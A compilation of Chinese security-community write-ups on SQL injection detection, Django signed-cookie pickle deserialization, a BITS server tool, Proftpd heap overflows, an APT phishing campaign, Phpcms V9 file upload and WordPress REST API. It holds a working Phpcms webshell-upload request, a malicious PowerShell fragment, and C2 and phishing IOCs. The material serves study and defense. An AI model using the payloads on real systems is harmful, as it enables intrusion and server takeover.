举例来说，在测试XSS的时候，不会检测“执行完这个payload之后会弹出一个警报窗口吗？”，而是检测“这个应用检测单引号吗？尖括号呢？”使用这个方法的另一个好处就是，在进行大规模测试的时候，可以很容易绕过大部分WAF。这之后，就可以手动对各个扫描出的特殊上下文进行渗透了。
SQL注入也同样如此。但是怎样在没有任何反馈机制的情况下进行规范化测试呢？之前我提到过，SQL注入和XSS的不同之处就在于SQL注入通常不会给出正面响应。尽管如此，我从[Ian
Bouchard](https://twitter.com/corb3nik)这样的研究人员身上学到了一件事——没有消息也是好消息。
这时候就要考虑同构SQL语句了。“同构”在这里的意思是虽然SQL语句的编写方式不同，但是理论上返回的结果相同。但是你在这里要使用包含特殊字符的SQL语句进行测试，比如说`'`或者`-`，如果应用对字符进行了过滤，注入的SQL语句将无法返回相同的结果，如果没有正确过滤，返回的结果相同，这就说明可能存在SQL注入漏洞。
下面用一个简单的SQL注入漏洞对此进行说明：
CREATE TABLE Users (
ID int key auto_increment,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);
INSERT INTO Users (LastName, FirstName, Address, City) VALUES ('Bird', 'Big', '123 Sesame Street', 'New York City');
INSERT INTO Users (LastName, FirstName, Address, City) VALUES ('Monster', 'Cookie', '123 Sesame Street', 'New York City');
SELECT FirstName FROM Users WHERE ID = <USER INPUT>;
如果使用大量的SQL
polyglot对上面的代码进行模糊测试，找到漏洞并不难，但在实际应用中，由于存在WAF、输入过滤和复杂的上下文环境，可能很难找到漏洞。
下面考虑下面几个SQL语句：
SELECT FirstName FROM Users WHERE ID = 1;
SELECT FirstName FROM Users WHERE ID = 2-1;
SELECT FirstName FROM Users WHERE ID = 1+'';
如果下面两个语句中的特殊字符没有被过滤，这三个语句应该都会返回同样的结果。如果返回的结果不同，就说明服务器对输入进行了某种形式的过滤。
现在考虑另一种情况：
SELECT Address FROM Users WHERE FirstName LIKE '%<USER INPUT>%' ORDER BY Address DESC;
该语句在进行数据库查询时很常见。注入后的三个SQL语句分别是：
SELECT Address FROM Users WHERE FirstName LIKE '%Big%' ORDER BY Address DESC;
SELECT Address FROM Users WHERE FirstName LIKE '%Big%%%' ORDER BY Address DESC;
SELECT Address FROM Users WHERE FirstName LIKE '%Big%' '' ORDER BY Address DESC;
在第二个语句中重复插入了两次特殊字符`%`，如果返回的结果相同，就说明我们正在注入的SQL语句在`LIKE`运算符之后。
[Arne Swinnen](https://www.arneswinnen.net/2013/09/automated-sql-injection-detection/)在2013年（远早于其他人）曾提到：
> 如果参数类型为字符串，把有效参数的字符串分成两部分，使用SQL中的字符串连接指令进行连接，如果返回的结果相同，说明可能存在SQL注入漏洞。
第三个语句中，在注入中添加一个`'
'`，就可以让字符串类型达到和数值类型一样的同构效果。添加该值表示在原始字符串后连接一个空白字符串，如果应用没有正确过滤单引号`'`，这种注入方式应该返回同样的结果。
接下来只需要逐步进行实验即可。由此你可以达到两个目标：
1. 发现在最终的SQL语句中，注入的哪个字符没有被正确过滤；
2. 发现进行注入的原始SQL语言是什么样子的。
## 大规模自动化扫描以及注意事项
我们这么做不是要发现单个SQL注入漏洞，而是能够在大量URL中进行自动的扫描。使用传统SQL注入的payload或者扫描器进行大规模扫描会占用大量资源，产生很多无用结果。但是如果使用分步式的同构方法，就可以用类似下面这样的启发式规则：
if (response of id_input) === (response of id_input + "+''"):
return true
else:
return false
这种方法速度更快，占用资源更少。不过虽然使用这种方法可以获得更少的假阴性结果（比如说注入有效但被WAF拦截了），但是会造成更多的假阳性。比如说，可能存在一些情况，服务器直接在输入传进SQL语句之前把其中的非数字字符删掉了，在这种情况下，上述的同构语句也会正确执行。所以说，不能只依赖一个同构语句进行判断，要看是否有多个同构语句都返回了相同结果。
尽管现在SQL注入漏洞已经越来越少了，我仍然偶尔会在手动测试的时候遇到，所以如果使用大规模的扫描，可能会得到更多的漏洞。 | 社区文章 |
最近做了 ph 牛的 code-breaking，在做 picklecode 这一题时，没有搞懂那个 django 的 signed_cookies 引擎对
session 的操作，就 debug 了一下，做个总结，算是做了个代码审计吧
# 0x01 获取 session_auth_hash
* 题目 : <https://github.com/phith0n/code-breaking/tree/master/2018/picklecode>
* django 使用的 SESSION_ENGINE 为 `django.contrib.sessions.backends.signed_cookies`
* pycharm 开启 debug 模式，username 为 peri0d，password 为 123456
* 入口文件在 `views.py`，第 34 行新建了用户并对密码进行了加密。第 35 行调用 `auth_login()` 函数，跳转到 `auth\__init__.py` 的 `login()` 方法
* 第 97 行，调用 `user` 类的 `get_session_auth_hash()` 方法来获取 `session_auth_hash` 的值，跟进 `get_session_auth_hash()`
* 给 `key_salt` 赋值后调用 `salted_hmac(key_salt, self.password)` 生成 `session_auth_hash`，这里的 `password` 是经过加密的，跟进 `salted_hmac()`
* 在第 39 行对 `key_salt + secret` 进行 sha1 加密并以 byte 类型返回给 `key`。这里的 `value` 是经过加密后的 `password`。然后调用 `hmac.new()`返回一个 sha1 模式的 `hmac` 对象
* 流程梳理
key_salt = '***'
# SECRET_KEY
secret = '******'
key = hashlib.sha1(key_salt + secret).digest()
sha1_obj = hmac.new(key, msg=password_enc, digestmod=hashlib.sha1)
session_auth_hash = sha1_obj.hexdigest()
# 0x02 初始化 sessionid
* 获取 `session_auth_hash` 后，单步调试，进入 `base.py` 执行 `__contains__()` 函数，参数为 `_auth_user_id`
* 单步调试，然后执行 `_get_session()` 函数，返回缓存 session，是一个空字典
* 在第 108 行执行 `cycle_key()`，使用新密钥保存相同的数据，调用 `save()`，它在请求结束时自动保存一个带有新密钥的 cookie 。
* 跟进 `save()`，在第 41 行执行 `_get_session_key()` ，生成一个 base64 编码后的字符串作为 `session key`，继续跟进，它又调用了 `signing.dumps()`
* 然后单步调试进入到 `_get_session()` 方法获取 `self._session`，从缓存中加载 session，此时为一个空字典，即 `self._session == {}`
* 然后分别给 compress，salt，serializer 赋值，然后调用 `signing.dumps()` ，继续跟进，传入的参数 `obj = {}, salt = 'django.contrib.sessions.backends.signed_cookies', compress = True`
* 在 `signing.dumps()` 中对序列化之后的数据进行压缩，然后进行 base64 编码，再 `decode()` 为一个 Unicode 的 `base64d`，其值为 `'gAN9cQAu'` ，最后调用 `TimestampSigner` 类的 `sign()` 方法，继续跟进
* `TimestampSigner` 类继承自 `Signer` 类，先调用它的 `__init__` 方法进行初始化，`key = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm', sep = ':', salt = 'django.contrib.sessions.backends.signed_cookies'`
* 然后调用 `TimestampSigner` 类的 `sign()` 方法，根据 `value='gAN9cQAu'`，`sep` 和 `timestamp()` 对 `value` 进行重新赋值，其值为 `'gAN9cQAu:1i5q6e'` ，然后再次在 `Signer.sign()` 中重新赋值，得到最后结果 `'gAN9cQAu:1i5q6e:wjJR2MUONx_wmPA3m8zYqTj5uCQ`
* 回到 `save()` ，继续单步调试，调用了 `base.py` 中第 170 行的 `_set_session_key()` 方法，将 `value` 赋值给 `session_key` 和 `_session_key`
* 回到 `save()` ，完成赋值，回到 `cycle_key()`，再回到 `auth\__init__.py` 的 `login()` 方法的第 108 行，这时可以在变量列表看到设置的 session 信息了
* 后面的代码是 django 对用户的持久化处理以及对 CSRF token 的验证等等， **值得注意的是在第 126 行到 128 行，进行了 session 设置**
* 流程梳理
_session = {}
# SECRET_KEY
secret = '******'
salt='****'
data = serializer().dumps(_session)
compressed = zlib.compress(data)
base64d = b64_encode(data).decode()
session_key = TimestampSigner(SECRET_KEY, salt=salt).sign(base64d)
# 0x03 response 写入 session
* 然后看它如何在 response 中设置 cookie 的，继续调试，在 `contrib\sessions\middleware.py` 中发现其对 cookie 的操作，从 44 行开始是设置 cookie 的存活时间，在第 58 行看到了 `save()` 函数，进行 cookie 的保存，单步调试进入
* 在 save() 函数中，调用 `_get_session_key()` 函数，剩下的反序列化和前面的相同，只是 session 的值发生了改变，从空字典变为含有 3 个元素的字典，然后就是将 cookie 设置在返回包中，这就完成了 cookie 设置的分析
# 0x04 总结
* 总结一下，它对 session 处理的核心机制在于 `django.core.signing.dumps()` 函数，其具体代码如下，可以看到，`data` 为 pickle 序列化之后的 byte 对象，我们只要将 `data` 改为构造好的 evil pickle code 即能实现任意的代码执行
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
data = serializer().dumps(obj)
is_compressed = False
if compress:
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
return TimestampSigner(key, salt=salt).sign(base64d) | 社区文章 |
# 【技术分享】构建一台Python BITS服务器
|
##### 译文声明
本文是翻译文章，文章来源：safebreach.com
原文地址：<https://safebreach.com/Post/Building-a-Python-BITS-Server>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
除了分析新出现的安全漏洞以及漏洞利用技术之外，SafeBreach
Labs还会对现有的攻击技术进行分析。当我们在分析一款恶意软件的时候，我们感兴趣的不仅是恶意软件所使用的Payload，我们还会对初始攻击向量、传播方法以及恶意软件在与C2服务器交互时所使用的各种技术进行深入研究和分析。
**研究意义**
近期，我们对一个使用了[bitsadmin.exe](https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813\(v=vs.85\).aspx)工具（微软的一款已过时的内置工具，用于处理BITS任务）的下载器进行了分析，而这个下载器会通过BITS服务来下载恶意Payload。
微软在Windows
XP/2000平台中正式引入了BITS（后台智能传输服务）协议，并且一直沿用至今。需要注意的是，很多应用程序都将该协议作为一种更新机制来使用。（关于BITS协议的更多内容请参考[维基百科](https://en.wikipedia.org/wiki/Background_Intelligent_Transfer_Service)）
对于恶意软件的开发人员来说，BITS（后台智能传输服务）是一种非常具有吸引力的工具，因为BITS（后台智能传输服务）不仅可以给恶意Payload的下载提供更多的缓冲区空间，而且还可以帮助恶意软件与攻击者控制的服务器进行C2通信。除此之外，还有以下几点原因：
1\. BITS主要应用于合法软件，例如Windows update和Chrome update等等，这也使得恶意BITS流量更加难以被安全防护产品检测到。
2\. BITS传输主要由操作系统负责处理，恶意软件只会发送初始请求，而不会处理BITS数据传输。
3\. BITS使用的是80端口，并且建立在HTTP协议之上。
4\. BITS支持使用代理。
5\. BITS提供了非常优秀的下载管理功能。
一般来说，攻击者会使用bitsadmin.exe和PowerShell作为BITS客户端来下载类似恶意宏或.LNK文件这样的恶意Payload。不过在有的情况下，某些恶意软件（并非恶意软件Dropper）还会使用BITS下载额外的依赖组件，例如动态链接库文件（DLL）以及需要在主机运行的脚本等等。
但我们想了解的远远不止这些。我们专门选取了一个我们目前正在分析的恶意软件样本，这款恶意软件样本极度依赖于bitsadmin来下载依赖组件。下图显示的是恶意软件的处理创建流程：
首先，我们使用了WinDBG注入了恶意软件尝试下载的那些额外文件，这个过程中需要修改内存数据，虽然这种方法能够奏效，但如果每一次都要这样做的话就未免有些过于繁琐了。因此，我们可以使用一台BITS服务器来注入某些依赖文件，以此来实现与之前相同的效果，而且操作的过程还更加简单了。
**使用Python构建BITS服务器**
但令我们感到惊讶的是，在搜索了半天之后，我们竟然没有发现任何与Python
BITS服务器有关的东西。虽然网上有很多采用C#实现的BITS服务器，但这些实现想要移植到Linux平台的话会非常的不方便。当然了，既然我们都已经走到这一步了，这点困难肯定是拦不住我们的。于是我们便开始自己创建一个Python模块来实现构建一台BITS服务器（基于SimpleHTTPRequestHandler），最终搭建完整的服务器将支持下载和上传操作。
**SimpleBITSServer**
广大用户可以访问SimpleBITSServer的【[GitHub主页](https://github.com/SafeBreach-Labs/SimpleBITSServer)】来获取更多信息，我们也欢迎有能力的开发人员贡献自己的代码。
SimpleBITSServer是我们使用Python简单实现的BITS服务器。由于BITS协议是用来在服务器端和客户端之间异步传输文件的一种协议，而SimpleBITSServer是基于Python内置的SimpleHTTPRequestHandler实现的。
**工具使用**
服务器端：
python SimpleBITSServer.py [port]
客户端：
可使用PowerShell进行简单控制
> Import-Module BitsTransfer
> Start-BitsTransfer -TransferType Upload -Source C:tempto_upload.txt -Destination http://127.0.0.1/to_upload.txt -DisplayName TEST
**环境要求**
服务器：
Python 2.7
客户端：
1.必须是启用了微软Windows BITS后台智能传输服务的Windows操作系统。
2.一个BITS客户端，可以是Windows内置工具-bitsadmin.exe（已过时），也可以是任何实现了BITS接口的应用程序。
**许可证**
SimpleBITSServer遵循BSD 3-Clause许可证协议。 | 社区文章 |
# Proftpd 多个堆溢出漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：投稿
译文仅供参考，具体内容表达以及含义原文为准。
[漏洞概要]
近日Nicholas Lemoniast向Proftpd官方递交了三封邮件,前两封提及Proftpd
v1.3.5a版本存在多个堆溢出漏洞,最后一封则是修复该漏洞的补丁建议。
[漏洞详情]
代码片段1:
============================================
../proftpd-master/src/pool.c:89-116
============================================
…………………..
ret = malloc(size);
}
if (ret == NULL) {
pr_log_pri(PR_LOG_ALERT, "Out of memory!");
#ifdef PR_USE_DEVEL
if (debug_flags & PR_POOL_DEBUG_FL_OOM_DUMP_POOLS) {
pr_pool_debug_memory(oom_printf);
}
#endif
exit(1);
}
return ret;
}
---
Proftpd在调用malloc()函数时未对申请长度size进行校验。如果在MIPS32或ARM架构的平台中,当size为0时,malloc可能返回空指针,或者引发段错误。尽管返回Null值后会调用exit()函数,但是内存分配仍会被执行。该缺陷对于ARM或MIPS32指令架构的嵌入式平台有严重影响,甚至是可以利用的,比如OpenWRT
系统。
代码片段2:
============================================
../proftpd-master/src/pool.c: 371-379
============================================
static cmd_rec *fxp_cmd_alloc(pool *p, const char *name, char *arg) {
cmd_rec *cmd;
cmd = pr_cmd_alloc(p, 2, pstrdup(p, name), arg ? arg : "");
cmd->arg = arg;
return cmd;
}
---
fxp_cmd_alloc()在特定架构的平台中被执行时可能导致未知行为,这是内存管理缺陷问题,可能导致堆溢出或者拒绝服务攻击。
代码片段3
============================================
../mod_sftp/ kbdint.c: 209-210
=============================================
buflen = bufsz = 3072;
buf = ptr = palloc(pkt->pool, bufsz);
---
Proftpd内存池管理时仅限制buffer的最大分配长度为3072字节,但是未对内存分配的请求数量进行限制,所以仍然存在内存分配问题,假如多个客户端同时向服务器发送请求,而且未对请求数量进行限制可能导致内存耗尽,因此每个客户端请求的最大数量不应超过500个。
代码片段5
============================================
../../mod_sftp/fxp.c:1217-1251
=============================================
static struct fxp_extpair *fxp_msg_read_extpair(pool *p, unsigned char **buf,
uint32_t *buflen) {
uint32_t namelen, datalen;
unsigned char *name, *data;
struct fxp_extpair *extpair;
namelen = sftp_msg_read_int(p, buf, buflen);
if (*buflen < namelen) {
(void) pr_log_writefile(sftp_logfd, MOD_SFTP_VERSION,
"SFTP message format error: unable to read %lu bytes of extpair name "
"data (buflen = %lu)", (unsigned long) namelen, (unsigned long) *buflen);
SFTP_DISCONNECT_CONN(SFTP_SSH2_DISCONNECT_BY_APPLICATION, NULL);
}
name = palloc(p, namelen + 1);
memcpy(name, *buf, namelen);
(*buf) += namelen;
(*buflen) -= namelen;
name[namelen] = '';
datalen = sftp_msg_read_int(p, buf, buflen);
if (datalen > 0) {
data = sftp_msg_read_data(p, buf, buflen, datalen);
} else {
data = NULL;
}
extpair = palloc(p, sizeof(struct fxp_extpair));
extpair->ext_name = (char *) name;
extpair->ext_datalen = datalen;
extpair->ext_data = data;
return extpair;
}
---
[修复建议]
引入FXP_MAX_EXTENDED_ATTRIBUTES变量到mod_sftp模块中,值为1024,用于限制“扩展”项的大小。所有完成读取“扩展”项的代码处增加长度判断,如果大于1024则将错误信息记录到日志文件中,函数返回错误值。
[原文链接]
[http://www.securityfocus.com/archive/1/537001](http://www.securityfocus.com/archive/1/537001) | 社区文章 |
# 针对美国智库、非盈利组织及公共部门的攻击事件
|
##### 译文声明
本文是翻译文章，文章原作者 microsoft，文章来源：cloudblogs.microsoft.com
原文地址：<https://cloudblogs.microsoft.com/microsoftsecure/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
路透社最近报道了针对全球各类目标的一次黑客攻击活动。在路透社相关报道发表之前，微软研究人员已经在密切跟踪这个攻击组织。
根据我们传感器收集到的数据，此次攻击活动主要针对的是公共部门机构和非政府组织，如智库和研究中心等，但也包括教育机构以及石油、天然气、化学、酒店领域的私营企业。
使用[Microsoft Threat
Protection](https://techcommunity.microsoft.com/t5/Security-Privacy-and-Compliance/Announcing-Microsoft-Threat-Protection/ba-p/262783)解决方案的客户能免受此次攻击影响。Microsoft Threat
Protection采用了基于行为的防护机制，能够在早期阶段阻止恶意活动。[Office 365 Advanced Threat
Protection](https://docs.microsoft.com/en-us/office365/securitycompliance/office-365-atp)能够拦截邮件中的恶意URL，阻止基于邮件的攻击活动（也能处理首次发现的样本）。与此同时，[Windows
Defender Advanced Threat Protection](https://www.microsoft.com/en-us/windowsforbusiness/windows-atp?ocid=cx-blog-mmpc)也能通过大量告警机制揭露攻击者在攻击环节中使用的各种技术。
第三方安全研究人员认为此次攻击活动由APT29（即CozyBear）所主导，该组织与我们标记的YTTRIUM攻击组织有较大重叠。虽然分析人员非常严谨，但我们尚未找到足够的证据将此活动与YTTRIUM联系在一起。
无论如何，由于受害者身份特殊，并且我们能看到国家级攻击活动的影子，因此微软将此次威胁事件通知了数百个组织中上千个潜在的受害者。作为[Defending
Democracy Program](https://blogs.microsoft.com/on-the-issues/2018/04/13/announcing-the-defending-democracy-program/)的一部分，微软鼓励满足条件的组织参与[Microsoft
AccountGuard](https://blogs.microsoft.com/on-the-issues/2018/08/20/protecting-democracy-with-microsoft-accountguard/)，这项服务能帮助容易成为攻击目标的客户免受网络安全威胁影响。
## 二、攻击概览
此次攻击活动于11月14日早晨开始，攻击目标似乎集中在与政策制定、政治事务或者在该领域有一定影响力的组织。
图1. 钓鱼攻击目标分布图
虽然攻击目标遍布全球，但主要集中在美国，特别是华盛顿特区及周边区域。其他目标还位于欧洲、香港、印度以及加拿大。
图2. 钓鱼攻击区域分布图
钓鱼邮件内容伪装成来自OneDrive的共享通知，如路透社报道中提到的，攻击者伪装成在美国国务院工作的人员身份。如果受害人点击了钓鱼邮件中的链接，就会触发攻击链，最终下载并被植入DLL后门，使攻击者能够远程访问收件人的计算机。
图3. 攻击链
## 三、技术分析
### 投递方式
攻击活动中使用了钓鱼邮件，伪装成来自OneDrive的文件共享通知：
图4. 钓鱼邮件内容
邮件中包含指向合法网站的某个链接，但该网站已经被攻击者成功入侵：
hxxps://www.jmj.com/personal/nauerthn_state_gov/TUJE7QJl[random string]
链接中使用的随机字符串很可能用于识别点击该链接的不同用户。然而，我们观察到的所有样本使用的都是同一个链接，指向同一个网站：
hxxps://www.jmj.com/personal/nauerthn_state_gov/VFVKRTdRSm
当用户点击该链接时，就会收到包含恶意LNK文件的一个ZIP压缩文档。一次攻击中使用的所有文件都采用相同的文件名，如`ds7002.pdf`、`ds7002.zip`以及`ds7002.lnk`。
### 后门安装
LNK文件为攻击的第一阶段，该文件会执行经过混淆的一个PowerShell命令，从LNK文件中释放出经过base64编码的payload，payload数据从文件`0x5e2be`偏移地址开始，大小为16,632个字节。
图5. LNK文件中的内容
这个payload也是经过高度混淆的一个PowerShell脚本，也会被解码运行：
图6. 解码后的第二个脚本
第二个脚本会从`.LNK`文件中提取处另外2个资源：
* `ds7002.PDF`（PDF诱饵文件）
* `cyzfc.dat`（第一阶段植入后门）
### 命令控制
PowerShell脚本会将第一阶段DLL释放到`%AppData%\Local\cyzfc.dat`，这是一个64位DLL程序，具有一个导出函数：`PointFunctionCall`。
随后，PowerShell脚本调用`rundll32.exe`来执行`cyzfc.dat`。第一阶段的命令及控制（C2）服务器地址为`pandorasong[.]com`（IP为`95.216.59.92`），连接成功后，`cyzfc.dat`会执行如下操作，开始安装最终payload：
1、为第二阶段payload分配一个`ReadWrite`页面；
2、以资源形式提取第二阶段payload；
3、从第一个payload的`0xEF`偏移处提取头部信息；
4、将头部数据与从`0x12A`地址开始的资源数据拼接起来；
5、使用循环异或（`ROR1`）方式，解密第二阶段payload，初始秘钥为`0xC5`。
第二阶段payload实际上是Cobalt Strike（一个商用渗透测试工具）的一个实例，会执行如下操作：
1、定义一个本地命名管道，格式为`\\.\pipe\MSSE-<number>-server`，其中`<number>`为0到9897之间的一个随机数；
2、将payload通过XOR算法解密到一个新的`RW`内存区域，这次XOR秘钥非常简单：每4个字节使用`0x7CC2885F`来解密；
3、将这段区域设置为`RX`标志；
4、创建一个线程，开始运行paylaod。
将全局数据写入管道的过程实际上是写入了第三个payload，这个payload经过XOR加密处理，加密方式与数据读取方式相同。payload解密后会得到一个PE文件，文件头为Meterpreter头。恶意软件会解析PE头部中包含的指令，将控制权移交给反射加载器：
第3个payload加载成功后会连接C2服务器，C2服务器地址已硬编码到PE文件的配置信息区域中，而配置信息会在第3个payload运行时异或解密：
配置信息中主要包含的是C2信息：
CobaltStrike是一个功能丰富的渗透测试攻击，可以为远程攻击者提供各种功能，比如提升权限、获取用户输入信息、通过PowerShell或者WMI执行任意命令、侦察踩点、通过各种协议与C&C服务器通信以及下载并安装其他恶意软件等。
## 四、缓解措施
[Windows Defender ATP](https://www.microsoft.com/en-us/windowsforbusiness/windows-atp?ocid=cx-blog-mmpc)可以检测与攻击相关的已知文件系统及网络特征。此外，也会根据行为来检测LNK文件相关操作。如果看到以下告警信息，则表明当前环境中存在攻击行为：
* 检测到高级威胁特征
* 检测到与高级威胁有关的网络活动
* 经过签名的程序已执行低信誉度任意代码
* 打开可疑的LNK文件
网络防护机制可疑阻止连接到可疑域名及IP地址的行为。大家也可以使用如下[attack surface
reduction](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard)（攻击面减少）规则来阻止与此次攻击活动关联的恶意行为：
Block executable files from running unless they meet a prevalence, age, or trusted list criteria
通过Windows Defender Security
Center，安全运营团队可以调查这些告警信息，分析主机、用户及[攻击事件](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/incidents-queue)视图，跟踪端到端攻击活动。在自动化调查及响应功能、[威胁分析](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/threat-analytics)、高级搜索及[自定义检测](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/custom-detection-rules)的帮助下，安全运营团队能够保护网络环境免受此类攻击影响。大家可以注册使用免费版[Windows Defender
ATP](https://www.microsoft.com/en-us/windowsforbusiness/windows-atp?ocid=cx-blog-mmpc)，体验针对高级攻击威胁的防护机制。
可以使用如下高级搜索查询语句，搜索网络环境中是否存在此类攻击活动：
//Query 1: Events involving the DLL container
let fileHash = "9858d5cb2a6614be3c48e33911bf9f7978b441bf";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents,
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)
//Query 2: C&C connection
NetworkCommunicationEvents
| where EventTime > ago(10d)
| where RemoteUrl == "pandorasong.com"
//Query 3: Malicious PowerShell
ProcessCreationEvents
| where EventTime > ago(10d)
| where ProcessCommandLine contains
"-noni -ep bypass $zk=' JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0"
//Query 4: Malicious domain in default browser commandline
ProcessCreationEvents
| where EventTime > ago(10d)
| where ProcessCommandLine contains
"https://www.jmj.com/personal/nauerthn_state_gov"
//Query 5: Events involving the ZIP
let fileHash = "cd92f19d3ad4ec50f6d19652af010fe07dca55e1";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents,
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)
以上规则查询的是过去10天内的安全事件，大家可以根据实际情况，修改`EventTime`的值。
## 五、IOC
文件（SHA-1）：
ds7002.ZIP: cd92f19d3ad4ec50f6d19652af010fe07dca55e1
ds7002.LNK: e431261c63f94a174a1308defccc674dabbe3609
ds7002.PDF (PDF诱饵文件): 8e928c550e5d44fb31ef8b6f3df2e914acd66873
cyzfc.dat (第一阶段): 9858d5cb2a6614be3c48e33911bf9f7978b441bf
URL：
hxxps://www.jmj[.]com/personal/nauerthn_state_gov/VFVKRTdRSm
C&C服务器：
pandorasong[.]com (95.216.59.92) (第一阶段C&C服务器) | 社区文章 |
# Phpcms_V9任意文件上传 漏洞分析
## 漏洞分析
### poc利用代码
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://127.0.0.1/2.txt?.php#.jpg>&dosubmit=1&protocol=
发送post请求到`http://192.168.107.138/phpcms/index.php?m=member&c=index&a=register&siteid=1`即可成功上传一个webshell
如图
根据url，我们可以定位到是phpcms\modules\member\index.php文件中的register函数（phpcms url映射关系
[PHPCMS二次开发教程 - semcoding -博客园](http://www.cnblogs.com/semcoding/p/3347600.html) ）。在line
135行处，将用户所输入的info参数带入到$member_input->get函数，也就是phpcms\caches\caches_model\caches_data\member_input.class.php文件中的get函数。
跟入这个函数
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符！");
} else {
str_cut($value, $maxlength);
}
$func = $this->fields[$field]['formtype'];
var_dump($func);
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
在这里，$value包含有恶意url，$func为editor，也就是调用editor函数去处理用户的请求，继续跟入
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
echo "111".$value;
var_dump($this->attachment);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
从这里就会很清楚的看到，将$value，也就是包含有恶意url的参数，去调用phpcms的download函数，并下载到本机。继续跟入
在download函数的片段中
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
作者本来是校验远程url的后缀名必须为.jpg等，防止下载到例如php等后缀的文件名，但是在经过fillurl函数的处理后，jpg后缀却消失了。也就是恶意url变为`http:file.codecat.one/normalOneWord.txt?.php`。
在fill函数中
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
这里将会去掉# 后面的url，因为在url中，#代表网页中的一个位置。其右面的字符，就是该位置的标识符。所以恶意url为?.php\ # .jpg。
继续回到download中，在
foreach($remotefileurls as $k=>$file) {
echo "</br>";
var_dump($file);
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
中，
$file为已经经过处理的url，也就是`http://file.codecat.one/normalOneWord.txt?.php`，在这里可以看到，下载文件所保存的后缀名，都已$file参数为准。这时就可以在uploadfile目录中写入一个php
shell。以日期作为文件夹名，时间戳作为文件名。远程url的内容为文件内容。
在函数最后，将会返回写入shell的文件路径。
我们回到最开始的index.php中，随后，将会执行插入数据库操作，但是表中并没有那个content字段，于是就会报错，并将路径返回给用户。
至此，就完成了任意文件上传漏洞，其实更应该叫做任意文件下载漏洞。
## 临时修复建议
修改 phpcms_libs_classes/attachement.class.php 文件中的download函数
在
foreach($remotefileurls as $k=>$file)
循环中，大约是167行左右的位置，将
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
修改成
$filename = fileext($k);
我们再使用poc测试一下
如图
图中的两个jpg文件，就是我测试的结果。这样就可以防御住任意文件上传攻击了。 | 社区文章 |
**PDF 版报告下载** ：[WordPress REST API
内容注入漏洞事件分析报告](http://paper.seebug.org/papers/Archive/Wordpress%20REST%20APIl%E5%86%85%E5%AE%B9%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A.pdf)
**English Version：**[WordPress REST API Content Injection Vulnerability
Incident Analysis
Report](http://paper.seebug.org/papers/Archive/WordPress%20REST%20API%20Content%20Injection%20Vulnerability%20Incident%20Analysis.pdf)
作者： **知道创宇404安全实验室**
报告发布日期：2017年02月28日
### 一、事件概述
#### 1 漏洞简介：
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。在4.7.0版本后，REST API插件的功能被集成到
WordPress 中，由此也引发了一些安全性问题。近日，一个由 REST API 引起的影响 WordPress
4.7.0和4.7.1版本的漏洞被披露，该漏洞可以导致 WordPress 所有文章内容可以未经验证被查看，修改，删除，甚至创建新的文章，危害巨大。
